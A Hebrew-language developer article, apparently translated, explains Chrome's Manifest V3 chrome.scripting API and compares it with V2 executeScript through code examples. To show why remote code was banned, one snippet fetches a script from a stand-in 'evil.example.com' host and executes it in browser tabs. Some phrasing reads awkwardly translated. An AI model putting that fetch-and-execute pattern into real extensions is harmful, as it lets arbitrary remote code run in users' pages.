חדש: chrome.scripting

Manifest V3 כולל מספר שינויים בפלטפורמת התוספים של Chrome. בפוסט הזה, נבחן את המניעים והשינויים שבוצעו בעקבות אחד מהשינויים הבולטים יותר: מבוא ל-API של chrome.scripting.

מה זה chrome.scripting?

כפי שאולי משתמע מהשם, chrome.scripting הוא מרחב שמות חדש שהושק במניפסט מגרסה V3 שאחראי על יכולות של החדרת סקריפט וסגנון.

יכול להיות שמפתחים שיצרו תוספי Chrome בעבר מכירים את שיטות Manifest V2 ב-Tabs API כמו chrome.tabs.executeScript chrome.tabs.insertCSS. השיטות האלה מאפשרות לתוספים להחדיר סקריפטים של גיליונות סגנונות לדפים, בהתאמה. במניפסט מגרסה V3, היכולות האלה עברו אל chrome.scripting ואנחנו מתכננים להרחיב את ה-API הזה עם כמה יכולות חדשות בעתיד.

למה כדאי ליצור API חדש?

בעקבות שינוי כזה, אחת השאלות הראשונות שנוטות לעלות היא "למה?"

מספר גורמים שונים הובילו להחלטה של צוות Chrome להציג מרחב שמות חדש לכתיבת סקריפטים. קודם כל, ה-Tabs API הוא סוג של חלונית הזזה לאיתור תכונות. שנייה, היינו צריכים לעשות שינויים ב-API הקיים של executeScript. שלישית, ידענו שאנחנו רוצים להרחיב את השימוש בסקריפטים יכולות של תוספים. יחד, החששות האלה הגדירו בבירור את הצורך במרחב שמות חדש יכולות סקריפטים ביתיות.

מגירות האשפה

אחת הבעיות שהפריעה לצוות התוספים בשנים האחרונות יש עומס יתר על ה-API של chrome.tabs. כשה-API הזה הושק לראשונה, רוב היכולות שלו שהיו קשורים לקונספט הרחב של כרטיסיית בדפדפן. אבל אפילו באותו שלב, שלל תכונות מתקדמות, ועם השנים האוסף הזה רק גדל.

עם ההפצה של Manifest V3, ה-Tabs API התרחב והוא כלל ניהול כרטיסיות בסיסי, ניהול בחירה, ארגון חלונות, העברת הודעות, בקרת זום, ניווט בסיסי, כתיבת סקריפטים, יכולות להיות עוד כמה יכולות קטנות. אומנם כל הדברים האלה חשובים, אבל הם עלולים להיות מוצפים כאשר הם מתחילים לעבוד עם הכלים שלנו, ועבור צוות Chrome כאשר אנחנו מתחזקים את הפלטפורמה כדאי להביא בחשבון בקשות מקהילת המפתחים.

גורם מורכב נוסף הוא שההרשאה tabs לא מובנת כמו שצריך. אומנם יש עוד הרבה סוגים אחרים ההרשאות מגבילות את הגישה ל-API נתון (למשל, storage), ההרשאה הזו היא קצת יותר יוצא דופן, מכיוון שהוא מעניק לתוסף גישה רק לנכסים רגישים במופעי Tab (ועל ידי משפיע גם על ממשק ה-API של Windows). באופן מובן, מפתחי תוספים רבים חושבים בטעות הם זקוקים להרשאה הזו כדי לגשת ל-methods ב-Tabs API, כמו chrome.tabs.create, או בצורה גרמנית, chrome.tabs.executeScript. הוצאת הפונקציונליות מה-Tabs API עוזרת לפנות משאבים חלק מהבלבול הזה.

שינויי תוכנה שעלולים לגרום לכשלים

כשעיצבנו את מניפסט מגרסה V3, אחת הבעיות העיקריות שרצינו לטפל בהן הייתה ניצול לרעה ותוכנות זדוניות מופעל באמצעות 'קוד באירוח מרוחק' - קוד שמופעל אבל לא כלול בתוסף חבילה. לעיתים קרובות מחברי תוספים פוגעניים מפעילים סקריפטים שנשלפו משרתים מרוחקים כדי גונבים נתוני משתמשים, מחדירים תוכנה זדונית וחומקים מזיהוי. גם גורמים טובים משתמשים ביכולת הזאת, אבל בסופו של דבר חשבו שזה פשוט מסוכן מדי להישאר כפי שהוא.

יש שתי דרכים שונות שבהן תוספים יכולים להפעיל קוד לא ארוז, אבל הדרך הרלוונטית זוהי שיטת chrome.tabs.executeScript של המניפסט V2. השיטה הזו מאפשרת לתוסף להפעיל מחרוזת קוד שרירותית בכרטיסיית יעד. דבר כזה בתורו פירושו, שמפתח זדוני יכול לאחזר סקריפט שרירותי משרת מרוחק ולהפעיל אותו בכל דף שהתוסף יכול גישה. ידענו שאם נרצה לטפל בבעיית הקוד מרחוק, נצטרך לוותר על .

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

רצינו גם למחוק בעיות אחרות, קלות יותר בעיצוב של גרסת המניפסט V2, להפוך את ה-API לכלי מלוטש וצפוי יותר.

למרות שיכולנו לשנות את החתימה של שיטה זו ב-Tabs API, הבנו שינויי תוכנה שעלולים לגרום לכשל ויכולות חדשות (המפורטים בקטע הבא) יהיה קל יותר לעשות הפסקה נקייה.

הרחבת יכולות של כתיבת סקריפטים

שיקול נוסף שנוסף לתהליך העיצוב של מניפסט מגרסה V3 היה רצון להציג יכולות נוספות של כתיבת סקריפטים לפלטפורמת התוספים של Chrome. באופן ספציפי, רצינו להוסיף תמיכה בסקריפטים של תוכן דינמי ובהרחבת היכולות של השיטה executeScript.

התמיכה בסקריפטים של תוכן דינמי היא בקשה ותיקה לשימוש ב-Chromium. היום, תוספי מניפסט מגרסה V2 ו-V3 יכולים להצהיר באופן סטטי על סקריפטים של תוכן רק קובץ manifest.json; הפלטפורמה לא מספקת דרך לרשום סקריפטים חדשים של תוכן, רישום סקריפט תוכן, או ביטול הרישום של סקריפטים של תוכן בזמן הריצה.

ידענו שאנחנו רוצים לטפל בבקשה הזו להוספת תכונה במניפסט מגרסה V3, אבל ממשקי API הרגישו כמו הבית הנכון. שקלנו גם להתאים את Firefox לסקריפטים של התוכן באתר API, אבל בשלב מוקדם מאוד זיהינו כמה חסרונות עיקריים לגישה הזו. קודם כול, ידענו שיהיו לנו חתימות לא תואמות (למשל, הפסקת התמיכה בcode נכס). שנית, ל-API שלנו הייתה מערך שונה של אילוצי עיצוב (למשל, הצורך ברישום תקפות גם לאחר חיי ה-Service Worker). לבסוף, מרחב השמות הזה יכניס אותנו גם פונקציונליות של סקריפט תוכן, שבה אנחנו חושבים על כתיבת סקריפטים בתוספים באופן נרחב יותר.

בחזית של executeScript, רצינו גם להרחיב את היכולות של ה-API הזה מעבר למה שכרטיסיות גרסת ה-API נתמכת. באופן ספציפי, רצינו לתמוך בפונקציות ובארגומנטים, בצורה קלה יותר לטרגט למסגרות ספציפיות, ולטרגט למסגרות שלא 'כרטיסייה' הקשרים שונים.

בהמשך, אנחנו שוקלים גם איך תוספים יכולים לקיים אינטראקציה עם אפליקציות PWA מותקנות ואפליקציות הקשרים שלא ממופים באופן רעיוני ל"כרטיסיות".

שינויים בין tab.executeScript ו-scripting.executeScript

בהמשך הפוסט הזה, אני רוצה לבחון מקרוב את הדמיון וההבדלים בין chrome.tabs.executeScript לבין chrome.scripting.executeScript

החדרת פונקציה עם ארגומנטים

תוך מחשבה על האופן שבו הפלטפורמה תצטרך להתפתח לאור קוד באירוח מרוחק ההגבלות, רצינו למצוא איזון בין העוצמה הגולמית של ביצוע קוד שרירותי, התרת סקריפטים של תוכן סטטי. הפתרון שהשקנו היה לאפשר לתוספים להחדיר כסקריפט תוכן ולהעביר מערך של ערכים כארגומנטים.

בואו נסתכל על דוגמה (בצורה פשוטה מדי). נניח שרצינו להחדיר סקריפט המשתמש קיבל את שמו כשלחץ על לחצן הפעולה של התוסף (הסמל בסרגל הכלים). במניפסט מגרסה V2, יכולנו ליצור מחרוזת קוד באופן דינמי ולהריץ את הסקריפט הזה הדף הזה.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

תוספי Manifest V3 לא יכולים להשתמש בקוד שלא נכלל בתוסף, אבל המטרה שלנו הייתה לשמר חלק מהדינמיקה של בלוקים שרירותיים של קוד שהופעלו בתוספי Manifest V2. הגישה של פונקציות וארגומנטים מאפשרת לבודקים בחנות האינטרנט של Chrome, למשתמשים ועוד מעוניינים להעריך בצורה מדויקת יותר את הסיכונים שהתוסף מהווה, ובו-זמנית גם מאפשר מפתחים לשנות את התנהגות זמן הריצה של תוסף על סמך הגדרות המשתמשים או מצב האפליקציה.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

מסגרות טירגוט

רצינו גם לשפר את האינטראקציה של המפתחים עם הפריימים ב-API המתוקן. המניפסט גרסה 2 גרסה של executeScript אפשרה למפתחים למקד לכל הפריימים בכרטיסייה או לכרטיסייה ספציפית להציג את המסגרת בכרטיסייה. אפשר להשתמש ב-chrome.webNavigation.getAllFrames כדי לקבל רשימה של כל הפריימים ב- .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

במניפסט מגרסה V3, החלפנו את מאפיין המספר השלם האופציונלי frameId באובייקט האפשרויות ב- מערך אופציונלי של frameIds של מספרים שלמים; כך מפתחים יכולים לטרגט כמה פריימים קריאה ל-API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

תוצאות של החדרת סקריפטים

שיפרנו גם את הדרך שבה אנחנו מחזירים תוצאות של החדרת סקריפט במניפסט מגרסה V3. "תוצאה" תואם לערך למעשה את ההצהרה הסופית שבודקים בסקריפט. נסו לחשוב על הערך הזה כמו על הערך שמוחזר קריאה ל-eval() או הרצת בלוק של קוד במסוף כלי הפיתוח ל-Chrome, אבל עובר סריאליזציה כדי להעביר תוצאות בתהליכים שונים.

במניפסט מגרסה V2, executeScript ו-insertCSS יחזירו מערך של תוצאות ביצוע פשוטות. זה בסדר אם יש לך רק נקודת הזרקה אחת, אבל סדר התוצאות לא מובטח החדרות למספר פריימים כך שאין דרך לדעת איזו תוצאה קשורה מסגרת.

לצורך דוגמה קונקרטית, נבחן את מערכי results שהוחזרו על ידי מניפסט V2 גרסת מניפסט מגרסה V3 של אותו תוסף. שתי הגרסאות של התוסף יחזירו את אותה סקריפט תוכן, ונשווה תוצאות באותו דף הדגמה.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

כשמריצים את גרסת המניפסט V2, מקבלים מערך של [1, 0, 5]. איזו תוצאה תואמת למסגרת הראשית ול-iframe? הערך המוחזר לא אומר לנו, ולכן אנחנו לא יודעים בוודאות.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

בגרסת המניפסט V3, results מכיל עכשיו מערך של אובייקטים של תוצאות במקום מערך של רק את תוצאות ההערכה, והאובייקטים של התוצאות מזהים בבירור את מזהה המסגרת תוצאה אחת. כך קל יותר למפתחים להשתמש בתוצאה ולנקוט פעולה לגבי מסגרת.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

סיכום

שינויים בגרסאות המניפסט הם הזדמנות נדירה לחשוב מחדש על ממשקי ה-API של התוספים ולחדש אותם. המטרה שלנו עם Manifest V3 היא לשפר את חוויית משתמש הקצה, באמצעות הגברת הבטיחות של התוספים, שיפור חוויית המפתח. הוספנו את chrome.scripting למניפסט מגרסה V3, כדי לנקות את Tabs API, לעצב מחדש את executeScript לפלטפורמת תוספים מאובטחת יותר, ולהניח את היסודות ליכולות חדשות של כתיבת סקריפטים, שיתווספו בהמשך השנה.